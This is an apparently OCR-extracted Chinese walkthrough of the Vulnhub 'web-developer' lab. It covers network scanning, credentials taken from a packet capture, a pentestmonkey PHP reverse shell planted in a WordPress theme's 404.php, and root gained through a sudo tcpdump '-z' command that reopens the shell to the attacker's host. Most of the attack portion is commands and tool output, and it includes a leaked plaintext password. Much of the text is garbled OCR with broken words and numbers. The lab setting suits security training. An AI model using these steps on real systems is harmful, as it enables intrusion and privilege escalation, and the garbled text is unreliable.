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Description Back to the Top
A machine using the newest REMOVED Server, the newest REMOVED and containing some REMOVED....
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(Unknown: locally administered)
a:65:21 (Unknown: locally administered) (DUP: 2)

179 packets received filter, @ packets dropped by kernel ~CRN
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arting Nmap 7.91 ( https:

g 21:51 CST
Nmap scan report for 192.1 2
Host is up (8.¢€ ')

Not shown:
PORT

4.29 (Ubuntu)
11; ess5
(VMware )

Just another WordPres i

Running:

B.44 ms 192.16
S and vice detection performed. Please report any
Nmap done: 1 IP address (1 host up) scanned in 10.

incorrect
seconds
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START_TIME:
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DL _ 58 ¢ /share, Jwordlists/common.txt

wp-admi
‘'wp-content/
includ

—— Entering di ory: -
(!) WARNING: y IS LISTAELE. No need
(Use mode ' if you want to scan it anyw

\ 92.168.1.1
+ http: . L1¢ fadmin.php (
> DIRE .16 p-admin/cs
e fwp-admin/image
=> DIRE .163/wp-admin/includes/
+ http: ; .php (CODE:38 :
> DIR = A .163/wp-admin/js/
( g fwp-admin,
f'wp-admin,
p-admin/

DIRECTOR s L1016 p-content
DIRECTORY: = 16 p-content
» DIRECTORY: Ao 16 p-content/

—— Entering di ry: 2.168.1.163/wp-includes/
(!) WARNING: ABLE. No need n it.
(Use mode

VjidipdataH F &M A analyze.cap FTH FHRE—TF
G © £ 192.168.1.163/ipdata/

Index of /ipdata

Name Last modified Size Description

& Parent Directory -
@ analyze.cap 2018-10-30 09:14 2.8M

Apache/2.4.29 (Ubuntu) Serverat 192.168.1.163 Port 80
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No. Time Source Destination
127 18.454239 192.168.1.222 192.168.1.176
129 18.454604 192.168.1.176 192.168.1.222
131 18.459205 192.168.1.222 192.168.1.176
132 18.472292 192.168.1.176 192.168.1.222
133 18.475930 192.168.1.222 192.168.1.176
134 18.488602 192.168.1.176 192.168.1.222
136 18.535692 192.168.1.222 192.168.1.176
146 18.541084 192.168.1.176 192.168.1.222
148 18.575040 192.168.1.222 192.168.1.176
149 18.577324 192.168.1.176 192.168.1.222

Protocol
HTTP
HTTP
HTTP
HTTP
HTTP
HTTP
HTTP
HTTP
HTTP

HTTP/X..

Length
397
670
398
473
475

3771
581
12463
527
1876

Info

GET /wordpress/wp-admin HTTP/1.1

HTTP/1.1 301 Moved Permanently (text/html)

GET /wordpress/wp-admin/ HTTP/1.1

HTTP/1.1 3602 Found

GET /wordpress/wp-login.php?redirect_to=http%3A%2F%2F192.168.1.176%2Fwordpress%2Fwp-admin%2F&reauth=1.. —

HTTP/1.1 200 OK (text/html)

GET /wordpress/wp-admin/load-styles.php?c=@&dir=1tr&load%5B%5D=dashicons, buttons, forms, 116n,login&ver..

HTTP/1.1 200 OK (text/css)

GET /wordpress/wp-admin/images/wordpress-logo.svg?ver=20131107 HTTP/1.1

HTTP/1.1 200 OK

182 90.232018 192.168.1.176 192.168.1.222
184 90.236559 192.168.1.222 192.168.1.176
212 a1 521132 192 1RR 1 178 192 1RR 1 222

[Full request URI: http://192.168.1.176/wordpress/wp-

HTTP

HTTP

HTTR
login.php]

[HTTP request 1/4]
[Response in frame: 182]
[Next reqguest in frame: 184]
File Data: 152 bytes

~ HTML Form URL Encoded:

application/.
ebdevelope
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Text item (text), 41 byte(s)
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A new, modern publishing experience is coming soon.
Is, media, and layout in new directions with Gutenberg, the WordPress editor we're currently building.

HTTP/1.1 302 Found
GET /wordpress/wp-admin/ HTTP/1.1

HTTR/1 1 260 0K [taxt/html\

B -9k

Test the new editor today.

You can take Gutenberg for a spin (and share your feedback, if you'd like)
before we officially release i, by installing it as a plugin. You can help by
testing, filing bugs, or contributing on the Gittub repository.

Learn more about Gutenberg

4348: 806 - EE: 108 (13.4%) CSDN 87 Betadi
- ke
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Not quite ready?

The new editor will be enabled by default in the next major release of
WordPress. If you're not sure how compatible your current themes and
plugins are, we've got you covered. Install the Classic Editor plugin to
keep using the current editor until you're ready to make the switch.

Install the Classic Editor

@ Dismiss




Howdy, webdeveloper [l

@ @A cempleste ©5 B

@ Dashboard

WordPress 5,83 is available! Please update now.
A Posts
05 Media Edit Themes
IH Pages Twenty Seventeen: 404 Template (404.php) Select theme to edit: Twenty Seventee ¥
B Comments Selected file content: T Fes

<%php Stylesheet

> y
& Appearance Jex o

* The template for displaying 404 pages (not found)

Theme: . Theme Functions
Customize * @link https://codex. wordpress. org/Creating_an Error_404_Page (fnetiens
* assets »
UiTEEE * @package VordPress RIL Stylesheet
0 * @subpackage Twenty_Sevemteen .
* @since 1.0
Header * @version 1.0 404 Template
(404 php)
Editor N (“okphe
Archives

£ Plugins @ get_header(); 7>

& Users s’
primary” class="content-area’>
& Tools ¢nain id="nain’ class="site-nain’ role="nain’> Theme Footer
(footerphp)

Settings {section class="erroz-404 not-found"> CEme

Cheader class="page-header”> )
o enu <h1 class="paze-title’><?php _e( 'Oops! That page canfrsquo:t be fownd.’, 'twentyseventeen' ): 73</h1> (e ) I

¢/header>{l— .pageheader —> Theme Header

<div class="page-content”> headerphp)

<pr<7php _e( "It locks like nothing was found at this location. Maybe try a search?, 'twentysewenteen® ). 7></p> inc »

<9php get_search_forn(): 7> Main Index Template

(indiexphp)
<fEiv>< -~ . page-comtent ——> single Page
<fsection><l— .error—d0d —> (page.php)
<mainy<! — Hnain —>
¢ div><I—= Hprinary —>
i< L wrap —>

Ophp get_footer()

(sidebar,

Documentation: Function Name... ¥ | Look Up

CsDI
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Howdy, webdeveloj

@ Dashboard
WordPress 5.8.3 is available! Please update now.

A Posts

07 Media Edit Themes

1N Pages Twenty Seventeen: 404 Template (404.php) Select theme to edit: Twenty Seventee v | Select

¥ Comments Selected file content: Theme Files
<Pwhp ~ Stylesheet

> y

& TETETER /f php-reverse-shell - A Reverse Shell inmplementation in PHP fstyle

Theme- ;; Copyright (C} 2007 pentestmonkey@pentestnonkey. net Theme Functions

Customi J/f This tool may be used for legal purposes only. Users take full respensibility Ui
/f for any actions performed using this tool. The author accepts no liability assets »

HIEEE /f for damage caused by this tecl. If these terms are not acceptable to you, then RITL Stylesheet

A Jf do not use this tool. e
I .

Header // In all other respects the GFL versiom 2 applies 404 Template

(404 php)

Editor " ) (404php
Jf This program is free software: you can redistribute it and/or nodify

s, . // it under the terms of the GNU General Public License version 2 as

S Plugins @
/f published by the Free Software Foundation.

& Users /
// This program is distributed in the hope that it will be useful,

& Tools /f but WITHOUT ANY WARFANTY: without even the inplied warranty of i emelEoater
/{ VERCHANTABILTTY or FITNESS FOR A PARTICULAR PURPOSE. See the (footerphp)

Sef s GNU General Public License for more details.

etting: % Homepage

(<] renu /f You showld have received a copy of the GNU Gensral Public Licenss along SRR I
S/ with this program: if net. write to the Free Software Foundation, Ine.. Theme Header
/f 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. (headerphp)
i

/f This tool may be used for legal purposes only. Users take full responsibility e >
Jf for any actions performed using this tool. If these terms are not acceptable to
// you, then do not use this tool. (index.php)
" Single Page
// You are encouraged to send comments, improvements or suggestions to

Main Index Template

(page.php)
// me at pentestmonkey@pentestnonkey.net
1
// Description
1" == -
Jf This script will nake an owtbound TCF comnection to a hardcoded IF and port.
/f The recipient will be given a shell rumning as the current user (apache normally). Sidebar
i

(sidebar,

// Limitations
Documentation: Function Name... v = LookUp

@
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Vi il http://192.168.1.163/wp-content/themes/twentysixteen/404.php



19:59:38 UTC ; 64 ; 64 GNU/Linux

PC PU WHAT

EZhE | shell
A
BE

$ cat tc/passwd | grep / in/bash
root: E
=2loper:/home/webdevelope

fEwordpressific B 4 B R B BIE K 4. webdeveloper #15: MasterOfTheUniverse

** MySQL settings Y E} et this info from your web host **

J** The name of the database ordPress */
define( 'DE_NAME', 'wordpre )

SQL hostname =/
'DB_HOST', 'localhost®)

*f

de+1neL DE__DLLATE

EIRE XA S B xKssh



C:\home“kali> ssh webdeveloperml92.168.1.163

The authenticity of host "192.168.1.163 (192.168.1.163)" can't be established.
ECDSA key fingerprint is SHA256:qgNLWWIX9wv+ilLg9Bgpq+ENCHQG31hlsM1bMQJIygYDM.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.163" (ECDSA) to the list of known hosts.
webdeveloper@192.168.1.163"'s password:

Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-38-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.cem/advantage

System information as of Fri Jan 21 14:34:14 UTC 2022

System load: 0.084 Processes: 157

Usage of /: 26.9% of 19.56GB Users logged in: 5

Memory usage: 48% IP address for eth®: 192.168.1.163
Swap usage: 0%

* Security certifications for Ubuntu!
We now have FIPS, STIG, CC and a CIS Benchmark.

- http://bit.ly/Security_Certification

* Want to make a highly secure kiosk, smart display or touchscreen?
Here's a step-by-step tutorial for a rainy weekend, or a startup.

- https://bit.ly/secure-kiosk

310 packages can be updated.
215 updates are security updates.

**%x System restart required x*x

Last login: Tue Oct 3@ ©9:25:27 2018 from 192.168.1.114

webdeveloperawebdeveloper:~$ id

uid=1000(webdeveloper) gid=1000(webdeveloper) groups=10008(webdeveloper),4(adm),24(cdrom),3@(dip),46(plu dev),l’g(Lxgi
webdeveloperiwebdeveloper:~$ I C N @'L&'.JE{ 23

B FRETh, 1% sudo -1& B AT BLAE A tepdump AL

webdeveloperawebdeveloper:~% sudo -1
Matching Defaults entries for webdeveloper on webdeveloper:
env_reset, mail_badpass, secure_path=/usr/local/sbin%:/usr/local/bin%:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User webdeveloper may run the following commands on webdeveloper:

(root) /usr/sbin/tcpdump _ o
webdevelopergwebdeveloper:~$% I CSDN @ﬁ‘]gd.?:%

FEAMTT R VT, FHFPATUAT L%

echo $'php /var/www/html/wp-content/themes/twentysixteen/404.php' > /tmp/.shell
chmod +x /tmp/.shell
sudo tcpdump -1n -i ethe@ -w /dev/null -W 1 -G 1 -z /tmp/.shell -Z root

C:\home\kali> 1234
listening on [any] 1234

CSDN @EI#123

webdeveloperiuwebdeveloper:~$ echo $'php /var/ww/html/wp-content/themes/twentysixteen/4@4.php' > /tmp/.shell

tcpdump: listening on eth®, link-type EN1@MB (Ethernet), capture size 262144 bytes

Maximum file limit reached: 1

1 packet captured

21 packets received by filter

@ packets dropped by kernel

webdeveloperiwebdeveloper:~$ PHP Notice: Undefined variable: daemon in /var/www/html/wp-content/themes/twentysixteen/4@4.php on line 184
Successfully opened reverse shell to 192.168.1.159:1234

CSDN @%132123

% 2h 15 Flroot i R




Dnt 1@ 19:59:38 UTC 2018 xB86_64 x86_64 xB6_64 GNU/Linux

qS up 53 min, 1 user, = 2
TTY FROM G J PCPU WHAT
el pts/@ 192.168.1.159 4134 2. 0.03s @.03s -bash

) g groups=0(root)
/bin/sh: B@: can't access tty; job control turned off
# id
uii=@(root) gid=0(root) groups=0(root)
#

A 3lflag

# id

uid=8(root) gid=0(root) groups=0(root)
# cd

# pwd

!homﬁ!m#bdﬂveloper

ﬂl

BIX B R ThSE AL T B
AXHAHBKNTABATUREMEARS NMELEZIRGE BRRARTRARIM! ZXEHRKRE

EANARE!




	Vulnhub靶机 web-developer writeup
	信息搜集
	扫描IP地址
	扫描开放的端口
	80端口
	列举目录

	getshell​
	提权

